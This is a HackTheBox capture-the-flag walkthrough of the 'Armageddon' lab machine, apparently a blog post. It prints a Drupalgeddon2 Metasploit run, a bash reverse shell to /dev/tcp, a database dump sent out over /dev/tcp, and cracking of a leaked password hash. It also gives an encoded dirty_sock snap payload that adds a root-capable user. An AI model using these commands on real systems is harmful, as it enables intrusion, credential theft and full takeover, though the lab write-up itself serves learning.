Armageddon is an easy Linux machine from HackTheBox that features an instance of Drupal 7 CMS. Enumeration of the CMS reveals that it is vulnerable to a remote code execution. With help of Metasploit module, I’m able to compromise the web server. Examining the Drupal configuration files discovers a set of database credentials which then used to retrieve user credentials from the database. The user is allowed to install a snap package as root user, and this could be leveraged to obtain root shell.

Skills Learned

  • Drupal 7 exploitation using Drupalgeddon2
  • Privilege escalation via malicious snap package

Tools

Reconnaissance

Nmap

An initial nmap scan discovers two open ports: SSH on 22 and an Apache Web Server serving Drupal 7 on 80.

kali@kali «armageddon» «10.10.14.4» 
$ nmap -sC -sV -oA scans/10-initial-armageddon 10.129.90.96
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-29 22:27 EDT
Nmap scan report for 10.129.90.96
Host is up (0.30s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 82:c6:bb:c7:02:6a:93:bb:7c:cb:dd:9c:30:93:79:34 (RSA)
|   256 3a:ca:95:30:f3:12:d7:ca:45:05:bc:c7:f1:16:bb:fc (ECDSA)
|_  256 7a:d4:b3:68:79:cf:62:8a:7d:5a:61:e7:06:0f:5f:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Welcome to  Armageddon |  Armageddon

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 29 22:28:01 2021 -- 1 IP address (1 host up) scanned in 51.04 seconds

Nmap also identified the OS as CentOs, so there is a chance that it would only allow outgoing connection to ports below 1024.

Enumeration

TCP 80 - Website

Visiting port 80 presents a page that has no other content except a login form.

image-20210330094613154

A previous nmap scan detected that there was a changelog file. Poking /CHANGELOG.txt discovers the exact version of this Drupal instance.

kali@kali «armageddon» «10.10.14.4» 
$ curl -s http://10.129.90.96/CHANGELOG.txt 
Drupal 7.56, 2017-06-21
-----------------------
- Fixed security issues (access bypass). See SA-CORE-2017-003.
...[SNIP]...

Finding Vulnerabilities

searchsploit pops up a lot of exploit results related to Drupal 7. But, based on the results, it is clear that the current version of Drupal seems to be vulnerable to remote code execution.

kali@kali «armageddon» «10.10.14.4» 
$ searchsploit Drupal 7
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)                  | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)                   | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)        | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)        | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)           | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities                                             | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution                                 | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution                            | php/webapps/3313.pl
Drupal < 7.34 - Denial of Service                                                  | php/dos/35415.txt
Drupal < 7.34 - Denial of Service                                                  | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)           | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC)        | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Executio | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasp | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC)   | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Exe | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution                     | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution                                 | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure                  | php/webapps/44501.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scrip | php/webapps/25493.txt
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution                      | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting            | php/webapps/35397.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)                  | php/remote/40130.rb
----------------------------------------------------------------------------------- ---------------------------------

Since “Drupalgeddon2” exploits doesn’t state it requires authentication, I will give it a try.

Foothold

Shell as apache

Metasploit - Drupalgeddon 2

Metasploit has a module for Drupalgeddon2 ( exploit/unix/webapp/drupal_drupalgeddon2). On my first attempt, it returned with no session.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.129.90.96
RHOSTS => 10.129.90.96
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST tun0
LHOST => tun0
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LPORT 9001
LPORT => 9001
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.4:9001 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Exploit completed, but no session was created

By assuming that the firewall blocks all outgoing ports except for well-known, I changed my listener port to 443, and now it successfully opened a session.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lport 443
lport => 443
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.10.14.4:443 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending stage (39282 bytes) to 10.129.90.96
[*] Meterpreter session 1 opened (10.10.14.4:443 -> 10.129.90.96:44612) at 2021-03-29 23:47:59 -0400

meterpreter > shell
Process 9611 created.
Channel 0 created.
whoami
apache
pwd
/var/www/html

I sent the following command because I wanted to change my shell, so I could do the PTY trick to upgrade my shell.

$ bash -c 'bash -i >& /dev/tcp/10.10.14.4/88 0>&1'

On my listener

kali@kali «armageddon» «10.10.14.4» 
$ nc -nvlp 88  
listening on [any] 88 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.90.96] 58422
bash: no job control in this shell
bash-4.2$ 

However, I’m unable to get the PTY trick working. It always returns the following error.

bash-4.2$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib64/python3.6/pty.py", line 154, in spawn
    pid, master_fd = fork()
  File "/usr/lib64/python3.6/pty.py", line 96, in fork
    master_fd, slave_fd = openpty()
  File "/usr/lib64/python3.6/pty.py", line 29, in openpty
    master_fd, slave_name = _open_terminal()
  File "/usr/lib64/python3.6/pty.py", line 59, in _open_terminal
    raise OSError('out of pty devices')
OSError: out of pty devices

Privilege Escalation

Shell as brucetherealadmin

Enumeration

There is only one user other than root who has a login shell.

bash-4.2$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash

Running a recursive grep to find passwords under the web root directory pops one password out from settings.php.

bash-4.2$ pwd
/var/www/html
bash-4.2$ grep -Ri "password" 2>/dev/null
...[SNIP]...
sites/default/settings.php:      'password' => 'CQHEy@9M*m23gBVj',
...[SNIP]...

Looking at the contents of settings.php reveals a database credential.

bash-4.2$ cat sites/default/settings.php
$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

MySQL Access

The password didn’t work for user brucetherealadmin, but it did work for the database (of course). Unfortunately, because I’m not in a TTY, I couldn’t get into MySQL interactive shell, so instead, I dumped the database using mysqldump and exfiltrated the output to my attacking machine.

bash-4.2$ mysqldump -u drupaluser -p'CQHEy@9M*m23gBVj' drupal > drupal.dump; cat drupal.dump > /dev/tcp/10.10.14.4/88

On my Kali.

kali@kali «loot» «10.10.14.4» 
$ nc -nvlp 88 > drupal.dump
listening on [any] 88 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.90.96] 58444

Examination of the dumped data reveals the structure of users table.

...[SNIP]...
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `uid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT 'Primary Key: Unique user ID.',
  `name` varchar(60) NOT NULL DEFAULT '' COMMENT 'Unique user name.',
  `pass` varchar(128) NOT NULL DEFAULT '' COMMENT 'User’s password (hashed).',
...[SNIP]...

Knowing the users table structure, I could use the MySQL -e option to retrieve the contents of column name and column pass from the users table. This returns a password hash of brucetherealadmin, and I will have to crack this.

bash-4.2$ mysql -h localhost -u drupaluser -p'CQHEy@9M*m23gBVj' drupal -e 'select name, pass from users'
name    pass
brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt

Password Crack

The password has been recovered back to plain text using hashcat and rockyou.txt.

C:\tools\hashcat6> hashcat.exe -m 7900 "$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt" rockyou.txt
...[SNIP]...
$S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Drupal7
Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started.....: Tue Mar 30 12:03:57 2021 (3 secs)
Time.Estimated...: Tue Mar 30 12:04:00 2021 (0 secs)
...[SNIP]...

SSH - brucetherealadmin

The password booboo works for brucetherealadmin and can be used on SSH.

kali@kali «loot» «10.10.14.4» 
$ ssh brucetherealadmin@10.129.90.96
brucetherealadmin@10.10.10.233's password:
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ id
uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

User flag is done here.

Shell as root

Enumeration

User brucetherealadmin is allowed to run /usr/bin/snap install as root user. I could leverage this rights to install a malicious snap package.

[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL
    PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

Malicious Snap Package

After googling around, I found this blog by Chris Moberly about Dirty Sock vulnerability in Snap version < 2.37. The author created two PoC exploits for this vulnerability:

  • dirty_sockv1: Uses the ‘create-user’ API to create a local user based on details queried from the Ubuntu SSO.

  • dirty_sockv2: Sideloads a snap that contains an install-hook that generates a new local user.

The current snap version is not vulnerable (patched with regex) to Dirty Sock. But, since the goal here is to install a malicious snap package with administrative privilege, I can steal the payload (trojan snap code) from the PoC exploit v2 and revert it back to a snap package.

[brucetherealadmin@armageddon shm]$ snap version
snap    2.47.1-1.el7
snapd   2.47.1-1.el7
series  16
centos  7
kernel  3.10.0-1160.6.1.el7.x86_64

First, I will grab the v2 exploit and transfer it to Armageddon

kali@kali «exploit» «10.10.14.4» 
$ wget https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py
kali@kali «exploit» «10.10.14.4» 
$ scp dirty_sockv2.py brucetherealadmin@10.129.92.110:/dev/shm
brucetherealadmin@10.129.92.110's password: 
dirty_sockv2.py                                       100% 8696     8.5KB/s   00:01    

I will pull out the payload from the exploit and revert it back to a snap package.

[brucetherealadmin@armageddon shm]$ python3 -c "print('''
> aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
> /////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
> ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
> TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
> T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
> Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
> ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
> ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
> L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
> b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
> rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
> rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
> AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
> XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
> RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
> AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''+ 'A' * 4256 + '==')" | base64 -d > malicious.snap
[brucetherealadmin@armageddon shm]$ file malicious.snap
file malicious.snap
malicious.snap: Squashfs filesystem, little endian, version 4.0, 910 bytes, 7 inodes, blocksize: 131072 bytes, created: Sat Feb  2 23:00:32 2019

Install Malicious Package

The malicious.snap file now can be installed with --devmode option to skip digital signatures check. If the exploit success, there will be a new user added called dirty_sock (default from the payload).

[brucetherealadmin@armageddon shm]$ sudo /usr/bin/snap install --devmode malicious.snap 
dirty-sock 0.1 installed

When I look at the /etc/passwdm, the user is there.

[brucetherealadmin@armageddon shm]$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
dirty_sock:x:1001:1001::/home/dirty_sock:/bin/bash

su - root

Now I can switch user to dirty_sock using a password of dirty_sock and run sudo su to obtain a root shell.

[brucetherealadmin@armageddon shm]$ su dirty_sock
Password: 
[dirty_sock@armageddon shm]$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dirty_sock: 
[root@armageddon shm]# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.129.92.110  netmask 255.255.0.0  broadcast 10.129.255.255
        inet6 fe80::7edc:a185:87bc:5935  prefixlen 64  scopeid 0x20<link>
        inet6 fe80::7648:5ea1:5371:b3b5  prefixlen 64  scopeid 0x20<link>
        inet6 fe80::ef75:a96e:3c27:e78b  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:41:c7  txqueuelen 1000  (Ethernet)
        RX packets 9191  bytes 732392 (715.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1149  bytes 188885 (184.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Reference